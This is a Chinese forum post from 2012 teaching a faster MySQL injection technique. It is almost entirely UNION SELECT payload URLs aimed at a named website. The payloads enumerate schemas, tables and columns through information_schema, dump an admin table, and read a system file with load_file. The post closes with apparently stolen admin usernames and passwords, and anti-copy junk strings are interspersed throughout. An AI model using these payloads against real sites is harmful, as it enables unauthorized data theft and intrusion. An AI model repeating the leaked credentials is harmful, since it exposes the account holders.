找回密码
 立即注册
查看: 2628|回复: 0
打印 上一主题 下一主题

mysql注入高效方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:37:34 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似$ J) [) M4 u8 L& H6 q( j
但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人
5 _' L; q& h# B2 k; j; g" ~1 f; _. ?, D- w) D8 K( }: N/ Z/ M5 P

  S6 m* ]+ b( S4 y' B& ^6 e1 E优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入* i: n4 R2 D6 Y6 Q

! F2 J" L3 k* e& e7 h+ y4 l& N缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢.... l: h$ Y6 Y" N
7 k3 H2 |- Y- G
下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示
2 g+ h" G2 w( z3 Y# {/ ^1 i5 K; ]在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ ,  + 等等% F% m. c% b. C! [/ t9 O; u

* I" t' v% l% C9 H# \4 N# mhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17, r' z# B/ ^& Z& J7 r* U

& }( c1 _9 `+ m( d0 L读出所有库:; Q6 F/ f/ ]0 I" e7 s" P
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA
+ g8 [( ~) g: x( L$ D% g6 x
2 O( f( H8 U: E1 A% ^4 h" U4 b: G8 X0 q; L5 Q( o

. \; |, Y4 X1 h4 H0 E' @: x读出所有表:
0 B) G  F3 R  Y2 ahttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()
+ Y4 n. ^) \1 `" ]" H( H$ }+ C8 E+ U+ W2 m# G: u" m
读出所有表字段:
2 Q% n) F7 V6 G( q& a5 ^, vhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)
- f9 _& Q0 j8 d! H: y*/ (97,100,109,105,110)为admin的ascii码 依次类推
9 L' J  j# c) l. n
, R$ L" t0 y; |4 R% y1 L读出所有表字段里的内容:  w) Q( [( S2 m9 \6 a
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin
' V( C& T, ~2 k4 j6 ?) n- z; S4 ]' V+ E5 L! x; ~! [. I

$ f% ^6 s' o0 l% m0 s4 ~
( n, J! A) N* w7 U3 n5 C2 ^1 H  ]$ J+ s3 ~! d- F

+ C! y, L: s$ e0 g' X
4 B8 _% B0 p4 f) Q- k1 Y4 whttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23, L9 D9 ]4 k6 B4 p6 n1 p  _1 k
8 l; \6 }4 f: L8 k7 {4 m# y' @

% _5 R2 p. t' G1 d+ bhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23
! f9 y. D: t/ n2 T8 B( p6 j+ |) M) I* `+ o9 w! S
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23
% I# w0 r/ @+ E7 |( X' b- X! p( Q, a/ D8 t# ?  n. ^1 @  y& }  W

. V" v7 S2 ^" E! M* O" Chttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23
# \6 K( k7 C" ?% l+ I
7 ?" ~% m+ ~+ u
; ^, {4 M( V6 T  B& e        webmaster:dzb521123,simlab:simadmin20043233
9 G) O5 X( ]; ^' [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表